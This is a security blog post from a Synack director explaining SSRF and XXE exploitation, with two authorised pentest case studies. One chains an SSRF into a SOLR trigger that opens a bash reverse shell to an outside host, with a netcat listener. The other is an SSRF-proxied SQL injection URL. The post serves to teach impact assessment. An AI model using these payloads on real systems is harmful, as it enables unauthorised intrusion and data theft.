code{ background-color: rgba(242, 242, 242, 1); } h3{ font-size: 1.75em; } h4{ font-size: 1.5em; }
By Jake Garner, Director, Technical Operations, Synack Inc.
Common Medium Impact Exploits
The most common SSRF and XXE vulnerabilities that I have encountered have exploits that only allow for a port scan or service enumeration on the vulnerable server or hosts on the internal network that the server resides in. These can be interesting because they may reveal information that an attacker might not otherwise have known about services running, including those that are not accessible from the internet. However, they often do not lead to much more than that due to lack of control of the requests sent from the vulnerable server, or due to the lack of a clear response presented to the attacker (blind or partially blind).
This is where the response time measurement technique mentioned in part 1 of this series can help. A common technique for exploiting these “blind” vulnerabilities is to use response times to differentiate between an open or closed port. An HTTP, FTP, HTTPS, SMTP, or even a file:// protocol request could result in a delayed or different response indicating certain ports are open or help to determine if certain files exist on a file system.
Another common occurrence is the vulnerable server responds with different messages depending on the type of response or the content of the response from the service it was told to interact with. For example, if you are exploiting an XXE vulnerability, you might instruct the vulnerable server to retrieve the /etc/passwd file, but the XML parser was expecting to parse a file structured as XML. This can sometimes cause a helpful error message that reveals contents of the first few lines of the file that was read.
Critical Impact Exploits Enabled by SSRF/XXE
To elaborate on what was just stated, in most cases researchers on our platform are not allowed to ‘pivot’ when a vulnerability is found. To explain this rule, I will share a common example that most pentesters would be aware of. If default credentials are discovered on a Tomcat server, SRT researchers are not permitted to use their newly acquired access to upload a .war file to prove that they can get Remote Code Execution. To disallow pivoting during most pentests, we have what we call a “Stop and report” rule. Once an exploitable vulnerability is found, researchers cannot use it to further exploit their way into a network or explore beyond just proving the initial vulnerability exists and is exploitable.
However, sometimes our customers are interested in pivoting and seeing how far our researchers can go. This is exciting for researchers and for analysts on the Vulnerability Operations team, because we often see some of the best exploits when researchers are allowed to run a little wilder than normal. When we (with customer approval) allow some pivoting or chaining of less severe vulnerabilities, we can get some nasty higher impact vulnerabilities.
We finally made it to the fun part! I chose two out of the many amazing exploits we see to demonstrate how powerful a critical SSRF can be.
SSRF to Remote Code Execution (RCE) on Internal System
A researcher discovered an application feature which was designed to proxy requests between a front end system and a back end system. This feature would take an entire HTTP GET or POST request (including POST body data) and forward it to a server that is specified by a parameter in the request. This vulnerable feature did not validate where the user was sending a request, and the full contents of the proxied request could be controlled by the user.
This “full” SSRF could be used to view the contents of web pages being served on internal network hosts. For example, an HTTP GET request to an internal server through the proxy might look like this: https://api.exampletarget.com/sendIt?url=http://jira.intranet.exampletarget.com/ where api.exampletarget.com is internet facing, and jira.intranet.exampletarget.com is a server on the internal network that users on the internet cannot normally communicate with.
With more reconnaissance, the SRT member discovered that the internal network had some Apache SOLR instances which did not require authentication. He used this SSRF to abuse the SOLR trigger feature with the solr.RunExecutableListener paired with an HTTP GET request to the SOLR update endpoint to send a reverse shell back to a server that he controlled on the internet.
1. Abuse the SSRF to send an HTTP POST request to create a trigger.
POST /sendit?url=http://solr.intranet.exampletarget.com:8983/solr/config HTTP/1.1
Host: api.exampletarget.com
Authorization: Bearer aGktbW9tIQ==
Content-Type: application/json
{“add-listener”:{“event”:”postCommit”,”name”:”hello”,”class”:”solr.RunExecutableListener”,
“exe”:”sh”,”dir”:”/bin/”,”args”:[“-c”,”[email protected]|sh”,”.”,”echo”,”/bin/bash”,”-i”,”>&”,”/dev/tcp/1.2.3.4/8888,”0>&1″]}}
2. Create a netcat listener on the host you control, in this example 1.2.3.4 on TCP port 8888.
nc -l -v 8888
3. Call the update method so that the created trigger is executed.
GET /sendit?url=http://solr.intranet.exampletarget.com:8983/solr/update?stream.body=<commit/>%26commit=true%26overwrite=true HTTP/1.1
Host: api.exampletarget.com
Authorization: Bearer aGktbW9tIQ==
4. The researcher was awarded with a privileged shell running as the admin-solr user.
At the time of this writing, Apache appears to have deprecated and disabled the RunExecutableListener trigger due to security reasons according to the documentation found here.
Unauthenticated SSRF to SQL Injection Against an Internal Server
This vulnerability report was rare because the client was only accepting vulnerabilities that were reported under certain categories, and SSRF vulnerabilities were not included in the list. The researcher who identified this SSRF was given permission to take this exploit further so that we could see if it could be chained to exploit a vulnerability in one of the client’s acceptable categories.
The researcher was able to use a similar “full” SSRF to the one above to exploit an internal network host to perform a SQL injection using a simple HTTP GET request.
https://subdomain.domain.com/madeUp/page?url=http://internal.domain.com/madeUp/page.php?table=(select%25201)a%2520union%2520select%2520version()%2520union%2520select
%[email protected]@datadir%2520union%2520select%2520user()–%2520-
Notice the parameter ‘url’ being sent in the initial request to subdomain.domain.com would be proxied to the internal.domain.com host which has an SQLi vulnerability on the table parameter. The resulting output from this SSRF to SQLi exploit was:
[{"1":"[email protected]"},{"1":"/var/lib/mysql/"},{"1":"5.6.38-log"},{"1":"1"}]
Conclusion
Hopefully this was useful for analysts on the receiving end of reports trying to understand the impact of a vulnerability that they need to fix. For researchers unfamiliar with any of these techniques, I hope to have encouraged you to dig deeper (when permitted) or to have provided alternate paths to proving the impact of the vulnerabilities you identify. If you are a researcher and none of this was new to you, we hope to have you on the SRT where you can help us continue to make our clients more secure. We look forward to exploiting the vulnerabilities you find.
